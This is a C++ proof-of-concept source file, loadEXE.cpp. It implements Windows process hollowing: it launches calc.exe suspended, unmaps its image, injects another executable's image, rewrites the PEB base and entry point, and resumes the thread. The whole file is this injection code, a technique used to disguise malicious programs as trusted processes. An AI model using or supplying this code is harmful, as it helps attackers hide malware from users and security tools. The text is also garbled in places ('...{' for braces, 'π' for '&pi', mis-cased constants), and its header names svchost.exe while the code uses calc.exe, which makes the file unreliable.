// loadEXE.cpp : Defines the entry point for the console application. // // Proof-Of-Concept Code // Copyright (c) 2004 // All rights reserved. // // Permission is hereby granted, free of charge, to any person obtaining a // copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, and/or sell copies of the Software, and to permit persons // to whom the Software is furnished to do so, provided that the above // copyright notice(s) and this permission notice appear in all copies of // the Software and that both the above copyright notice(s) and this // permission notice appear in supporting documentation. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS // or IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT // OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER or // HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, or ANY SPECIAL // INDIRECT or CONSEQUENTIAL DAMAGES, or ANY DAMAGES WHATSOEVER RESULTING // FROM LOSS OF USE, DATA or PROFITS, WHETHER IN AN ACTION OF CONTRACT, // NEGLIGENCE or OTHER TORTIOUS ACTION, ARISING OUT OF or IN CONNECTION // WITH THE USE or PERFORMANCE OF THIS SOFTWARE. // // Usage: // loadEXE <EXE filename> // // This will execute calc.exe in suspended mode and replace its image with // the new EXE's image. The thread is then resumed, thus causing the new EXE to // execute within the process space of svchost.exe. // //******************************************************************************************************* #include <stdio.h> #include <windows.h> #include <tlhelp32.h> #include <psapi.h> struct PE_Header ...{ unsigned long signature; unsigned short machine; unsigned short numSections; unsigned long timeDateStamp; unsigned long pointerToSymbolTable; unsigned long numOfSymbols; unsigned short sizeOfOptionHeader; unsigned short characteristics; }; struct PE_ExtHeader ...{ unsigned short magic; unsigned char majorLinkerVersion; unsigned char minorLinkerVersion; unsigned long sizeOfCode; unsigned long sizeOfInitializedData; unsigned long sizeOfUninitializedData; unsigned long addressOfEntryPoint; unsigned long baseOfCode; unsigned long baseOfData; unsigned long imageBase; unsigned long sectionAlignment; unsigned long fileAlignment; unsigned short majorOSVersion; unsigned short minorOSVersion; unsigned short majorImageVersion; unsigned short minorImageVersion; unsigned short majorSubsystemVersion; unsigned short minorSubsystemVersion; unsigned long reserved1; unsigned long sizeOfImage; unsigned long sizeOfHeaders; unsigned long checksum; unsigned short subsystem; unsigned short DLLCharacteristics; unsigned long sizeOfStackReserve; unsigned long sizeOfStackCommit; unsigned long sizeOfHeapReserve; unsigned long sizeOfHeapCommit; unsigned long loaderFlags; unsigned long numberOfRVAAndSizes; unsigned long exportTableAddress; unsigned long exportTableSize; unsigned long importTableAddress; unsigned long importTableSize; unsigned long resourceTableAddress; unsigned long resourceTableSize; unsigned long exceptionTableAddress; unsigned long exceptionTableSize; unsigned long certFilePointer; unsigned long certTableSize; unsigned long relocationTableAddress; unsigned long relocationTableSize; unsigned long debugDataAddress; unsigned long debugDataSize; unsigned long archDataAddress; unsigned long archDataSize; unsigned long globalPtrAddress; unsigned long globalPtrSize; unsigned long TLSTableAddress; unsigned long TLSTableSize; unsigned long loadConfigTableAddress; unsigned long loadConfigTableSize; unsigned long boundImportTableAddress; unsigned long boundImportTableSize; unsigned long importAddressTableAddress; unsigned long importAddressTableSize; unsigned long delayImportDescAddress; unsigned long delayImportDescSize; unsigned long COMHeaderAddress; unsigned long COMHeaderSize; unsigned long reserved2; unsigned long reserved3; }; struct SectionHeader ...{ unsigned char sectionName[8]; unsigned long virtualSize; unsigned long virtualAddress; unsigned long sizeOfRawData; unsigned long pointerToRawData; unsigned long pointerToRelocations; unsigned long pointerToLineNumbers; unsigned short numberOfRelocations; unsigned short numberOfLineNumbers; unsigned long characteristics; }; struct MZHeader ...{ unsigned short signature; unsigned short partPag; unsigned short pageCnt; unsigned short reloCnt; unsigned short hdrSize; unsigned short minMem; unsigned short maxMem; unsigned short reloSS; unsigned short exeSP; unsigned short chksum; unsigned short exeIP; unsigned short reloCS; unsigned short tablOff; unsigned short overlay; unsigned char reserved[32]; unsigned long offsetToPE; }; struct ImportDirEntry ...{ DWORD importLookupTable; DWORD timeDateStamp; DWORD fowarderChain; DWORD nameRVA; DWORD importAddressTable; }; //********************************************************************************************************** // // This function reads the MZ, PE, PE extended and Section Headers from an EXE file. // //********************************************************************************************************** bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH, SectionHeader **outSecHdr) ...{ fseek(fp, 0, SEEK_END); long fileSize = ftell(fp); fseek(fp, 0, SEEK_SET); if(fileSize < sizeof(MZHeader)) ...{ printf("File size too small "); return false; } // read MZ Header MZHeader mzH; fread(&mzH, sizeof(MZHeader), 1, fp); if(mzH.signature != 0x5a4d) // MZ ...{ printf("File does not have MZ header "); return false; } //printf("Offset to PE Header = %X ", mzH.offsetToPE); if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header)) ...{ printf("File size too small "); return false; } // read PE Header fseek(fp, mzH.offsetToPE, SEEK_SET); PE_Header peH; fread(&peH, sizeof(PE_Header), 1, fp); //printf("Size of option header = %d ", peH.sizeOfOptionHeader); //printf("Number of sections = %d ", peH.numSections); if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader)) ...{ printf("Unexpected option header size. "); return false; } // read PE Ext Header PE_ExtHeader peXH; fread(&peXH, sizeof(PE_ExtHeader), 1, fp); //printf("Import table address = %X ", peXH.importTableAddress); //printf("Import table size = %X ", peXH.importTableSize); //printf("Import address table address = %X ", peXH.importAddressTableAddress); //printf("Import address table size = %X ", peXH.importAddressTableSize); // read the sections SectionHeader *secHdr = new SectionHeader[peH.numSections]; fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp); *outMZ = mzH; *outPE = peH; *outpeXH = peXH; *outSecHdr = secHdr; return true; } //********************************************************************************************************** // // This function calculates the size required to load an EXE into memory with proper alignment. // //********************************************************************************************************** int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr) ...{ int result = 0; int alignment = inpeXH->sectionAlignment; if(inpeXH->sizeOfHeaders % alignment == 0) result += inpeXH->sizeOfHeaders; else ...{ int val = inpeXH->sizeOfHeaders / alignment; val++; result += (val * alignment); } for(int i = 0; i < inPE->numSections; i++) ...{ if(inSecHdr[i].virtualSize) ...{ if(inSecHdr[i].virtualSize % alignment == 0) result += inSecHdr[i].virtualSize; else ...{ int val = inSecHdr[i].virtualSize / alignment; val++; result += (val * alignment); } } } return result; } //********************************************************************************************************** // // This function calculates the aligned size of a section // //********************************************************************************************************** unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment) ...{ if(curSize % alignment == 0) return curSize; else ...{ int val = curSize / alignment; val++; return (val * alignment); } } //********************************************************************************************************** // // This function loads a PE file into memory with proper alignment. // Enough memory must be allocated at ptrLoc. // //********************************************************************************************************** bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr, LPVOID ptrLoc) ...{ char *outPtr = (char *)ptrLoc; fseek(fp, 0, SEEK_SET); unsigned long headerSize = inpeXH->sizeOfHeaders; // certain PE files have sectionHeaderSize value > size of PE file itself. // this loop handles this situation by find the section that is nearest to the // PE header. for(int i = 0; i < inPE->numSections; i++) ...{ if(inSecHdr[i].pointerToRawData < headerSize) headerSize = inSecHdr[i].pointerToRawData; } // read the PE header unsigned long readSize = fread(outPtr, 1, headerSize, fp); //printf("HeaderSize = %d ", headerSize); if(readSize != headerSize) ...{ printf("Error reading headers (%d %d) ", readSize, headerSize); return false; } outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment); // read the sections for(i = 0; i < inPE->numSections; i++) ...{ if(inSecHdr[i].sizeOfRawData > 0) ...{ unsigned long toRead = inSecHdr[i].sizeOfRawData; if(toRead > inSecHdr[i].virtualSize) toRead = inSecHdr[i].virtualSize; fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET); readSize = fread(outPtr, 1, toRead, fp); if(readSize != toRead) ...{ printf("Error reading section %d ", i); return false; } outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment); } else ...{ // this handles the case where the PE file has an empty section. E.g. UPX0 section // in UPXed files. if(inSecHdr[i].virtualSize) outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment); } } return true; } struct FixupBlock ...{ unsigned long pageRVA; unsigned long blockSize; }; //********************************************************************************************************** // // This function loads a PE file into memory with proper alignment. // Enough memory must be allocated at ptrLoc. // //********************************************************************************************************** void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase) ...{ if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) ...{ FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress); long delta = newBase - inpeXH->imageBase; while(fixBlk->blockSize) ...{ //printf("Addr = %X ", fixBlk->pageRVA); //printf("Size = %X ", fixBlk->blockSize); int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1; //printf("Num Entries = %d ", numEntries); unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1); for(int i = 0; i < numEntries; i++) ...{ DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF)); int relocType = (*offsetPtr & 0xF000) >> 12; //printf("Val = %X ", *offsetPtr); //printf("Type = %X ", relocType); if(relocType == 3) *codeLoc = ((DWORD)*codeLoc) + delta; else ...{ printf("Unknown relocation type = %d ", relocType); } offsetPtr++; } fixBlk = (FixupBlock *)offsetPtr; } } } #define TARGETPROC "calc.exe" CHAR szDefDir[] = "I:\MyProject\tools\Xptools"; //CHAR szDeft[] = "E:\WINDOWS\system32\notepad.exe"; //CHAR szDeft[] = "I:\MyProject\tools\Xptools\XPtools.exe"; //CHAR szDeft[] = "I:\MyProject\Test\Calcu\debug\Calcu.exe"; CHAR szDeft[] = "I:\MyProject\PCBTest\Bin\PCBTest.exe"; typedef struct _PROCINFO ...{ DWORD baseAddr; DWORD imageSize; } PROCINFO; //********************************************************************************************************** // // Creates the original EXE in suspended mode and returns its info in the PROCINFO structure. // //********************************************************************************************************** BOOL createChild(PPROCESS_INFORMATION pi, PCONTEXT ctx, PROCINFO *outChildProcInfo) ...{ STARTUPINFO si = ...{0}; if(CreateProcess(NULL, TARGETPROC, NULL, NULL, 0, Create_SUSPENDED, NULL, szDefDir, &si, pi)) ...{ ctx->ContextFlags=CONTEXT_FULL; GetThreadContext(pi->hThread, ctx); DWORD *pebInfo = (DWORD *)ctx->Ebx; DWORD read; ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read); DWORD curAddr = outChildProcInfo->baseAddr; MEMORY_BASIC_INFORMATION memInfo; while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo))) ...{ if(memInfo.State == MEM_FREE) break; curAddr += memInfo.RegionSize; } outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr; return TRUE; } return FALSE; } //********************************************************************************************************** // // Returns true if the PE file has a relocation table // //********************************************************************************************************** BOOL hasRelocationTable(PE_ExtHeader *inpeXH) ...{ if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) ...{ return TRUE; } return FALSE; } typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress); //********************************************************************************************************** // // To replace the original EXE with another one we do the following. // 1) Create the original EXE process in suspended mode. // 2) Unmap the image of the original EXE. // 3) Allocate memory at the baseaddress of the new EXE. // 4) Load the new EXE image into the allocated memory. // 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended // thread. // // When the original EXE process is created in suspend mode, GetThreadContext returns these useful // register values. // EAX - process entry point // EBX - points to PEB // // So before resuming the suspended thread, we need to set EAX of the context to the entry point of the // new EXE. // //********************************************************************************************************** void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD imageSize) ...{ STARTUPINFO si = ...{0}; PROCESS_INFORMATION pi; CONTEXT ctx; PROCINFO childInfo; if(createChild(π, &ctx, &childInfo)) ...{ printf("Original EXE loaded (PID = %d). ", pi.dwProcessId); printf("Original Base Addr = %X, Size = %X ", childInfo.baseAddr, childInfo.imageSize); LPVOID v = (LPVOID)NULL; if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize) ...{ // if new EXE has same baseaddr and is its size is <= to the original EXE, just // overwrite it in memory v = (LPVOID)childInfo.baseAddr; DWORD oldProtect; VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect); printf("Using Existing Mem for New EXE at %X ", (unsigned long)v); } else ...{ // get address of ZwUnmapViewOfSection PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection"); // try to unmap the original EXE image if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0) ...{ // allocate memory for the new EXE image at the prefered imagebase. v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(v) printf("Unmapped and Allocated Mem for New EXE at %X ", (unsigned long)v); } } if(!v && hasRelocationTable(inpeXH)) ...{ // if unmap failed but EXE is relocatable, then we try to load the EXE at another // location v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(v) ...{ printf("Allocated Mem for New EXE at %X. EXE will be relocated. ", (unsigned long)v); // we've got to do the relocation ourself if we load the image at another // memory location doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v); } } printf("EIP = %X ", ctx.Eip); printf("EAX = %X ", ctx.Eax); printf("EBX = %X ", ctx.Ebx); // EBX points to PEB printf("ECX = %X ", ctx.Ecx); printf("EDX = %X ", ctx.Edx); if(v) ...{ printf("New EXE Image Size = %X ", imageSize); // patch the EXE base addr in PEB (PEB + 8 holds process base addr) DWORD *pebInfo = (DWORD *)ctx.Ebx; DWORD wrote; WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote); // patch the base addr in the PE header of the EXE that we load ourselves PE_ExtHeader *peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc); peXH->imageBase = (DWORD)v; if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL)) ...{ printf("New EXE image injected into process. "); ctx.ContextFlags=CONTEXT_FULL; //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc); //ctx.Eip = 0x007B9640; if((DWORD)v == childInfo.baseAddr) ...{ ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint; // eax holds new entry point } else ...{ // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was // performed. ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint; // eax holds new entry point } printf("********> EIP = %X ", ctx.Eip); printf("********> EAX = %X ", ctx.Eax); SetThreadContext(pi.hThread,&ctx); ResumeThread(pi.hThread); printf("Process resumed (PID = %d). ", pi.dwProcessId); } else ...{ printf("WriteProcessMemory failed "); TerminateProcess(pi.hProcess, 0); } } else ...{ printf("Load failed. Consider making this EXE relocatable. "); TerminateProcess(pi.hProcess, 0); } } else ...{ printf("Cannot load %s ", TARGETPROC); } } int main(int argc, char* argv[]) ...{ POINT pt; GetCursorPos(&pt); FILE *fp; if(argc != 2) ...{ printf(" Usage: %s <EXE filename> ", argv[0]); printf("No Input EXE, use: %s ", szDeft); fp = fopen(szDeft, "rb"); } else fp = fopen(argv[1], "rb"); if(fp) ...{ MZHeader mzH; PE_Header peH; PE_ExtHeader peXH; SectionHeader *secHdr; if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr)) ...{ int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr); //printf("Image Size = %X ", imageSize); LPVOID ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(ptrLoc) ...{ //printf("Memory allocated at %X ", ptrLoc); loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc); doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize); } else printf("Allocation failed "); } fclose(fp); } else printf(" Cannot open the EXE file! "); return 0; } |